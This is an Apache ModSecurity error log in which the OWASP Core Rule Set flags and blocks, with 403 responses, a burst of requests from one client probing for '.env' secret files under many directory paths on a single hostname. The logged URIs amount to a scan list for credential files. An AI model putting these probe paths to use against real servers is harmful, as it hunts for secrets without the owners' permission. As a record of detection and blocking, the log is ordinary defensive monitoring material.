[Sun Oct 25 14:43:05.228359 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nQAAACc"]
[Sun Oct 25 14:43:05.228592 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nQAAACc"]
[Sun Oct 25 14:43:05.228840 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nQAAACc"]
[Sun Oct 25 14:43:05.229821 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5NueapooGEQlE2Ll6VyAAAACY"]
[Sun Oct 25 14:43:05.232693 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5NueapooGEQlE2Ll6VyAAAACY"]
[Sun Oct 25 14:43:05.232988 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at5NueapooGEQlE2Ll6VyAAAACY"]
[Sun Oct 25 14:43:05.230576 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5NuW-zzrnLViXtlwWgeAAAABg"]
[Sun Oct 25 14:43:05.233733 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5NuW-zzrnLViXtlwWgeAAAABg"]
[Sun Oct 25 14:43:05.234026 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5NuW-zzrnLViXtlwWgeAAAABg"]
[Sun Oct 25 14:43:05.265872 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-ngAAACc"]
[Sun Oct 25 14:43:05.265973 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at5Nud6BoG8GuVESjJgBegAAACU"]
[Sun Oct 25 14:43:05.266132 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-ngAAACc"]
[Sun Oct 25 14:43:05.266371 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at5Nud6BoG8GuVESjJgBegAAACU"]
[Sun Oct 25 14:43:05.266505 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-ngAAACc"]
[Sun Oct 25 14:43:05.266667 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at5Nud6BoG8GuVESjJgBegAAACU"]
[Sun Oct 25 14:43:05.267669 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5NufHHYcoN3l-6u0omVwAAAAA"]
[Sun Oct 25 14:43:05.267738 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5NucAxLusXGhv5UJnA6gAAABE"]
[Sun Oct 25 14:43:05.267812 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5NufHHYcoN3l-6u0omVwAAAAA"]
[Sun Oct 25 14:43:05.267894 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5NucAxLusXGhv5UJnA6gAAABE"]
[Sun Oct 25 14:43:05.268050 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at5NufHHYcoN3l-6u0omVwAAAAA"]
[Sun Oct 25 14:43:05.268150 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at5NucAxLusXGhv5UJnA6gAAABE"]
[Sun Oct 25 14:43:05.282792 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwwAAAB8"]
[Sun Oct 25 14:43:05.282949 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwwAAAB8"]
[Sun Oct 25 14:43:05.283173 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwwAAAB8"]
[Sun Oct 25 14:43:05.284186 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5NuW-zzrnLViXtlwWgeQAAABg"]
[Sun Oct 25 14:43:05.284279 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5NuTh4F5IzB4_aosIHlQAAABQ"]
[Sun Oct 25 14:43:05.284342 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5NuW-zzrnLViXtlwWgeQAAABg"]
[Sun Oct 25 14:43:05.284427 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5NuTh4F5IzB4_aosIHlQAAABQ"]
[Sun Oct 25 14:43:05.284611 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at5NuW-zzrnLViXtlwWgeQAAABg"]
[Sun Oct 25 14:43:05.284673 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at5NuTh4F5IzB4_aosIHlQAAABQ"]
[Sun Oct 25 14:43:05.285603 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5NuTnLqNfi2M7PPfhIygAAABo"]
[Sun Oct 25 14:43:05.285639 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5NueapooGEQlE2Ll6VyQAAACY"]
[Sun Oct 25 14:43:05.285755 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5NuTnLqNfi2M7PPfhIygAAABo"]
[Sun Oct 25 14:43:05.285797 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5NueapooGEQlE2Ll6VyQAAACY"]
[Sun Oct 25 14:43:05.286017 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at5NuTnLqNfi2M7PPfhIygAAABo"]
[Sun Oct 25 14:43:05.286126 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at5NueapooGEQlE2Ll6VyQAAACY"]
[Sun Oct 25 14:43:05.294492 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at5NucAxLusXGhv5UJnA6wAAABE"]
[Sun Oct 25 14:43:05.294687 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at5NucAxLusXGhv5UJnA6wAAABE"]
[Sun Oct 25 14:43:05.294955 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at5NucAxLusXGhv5UJnA6wAAABE"]
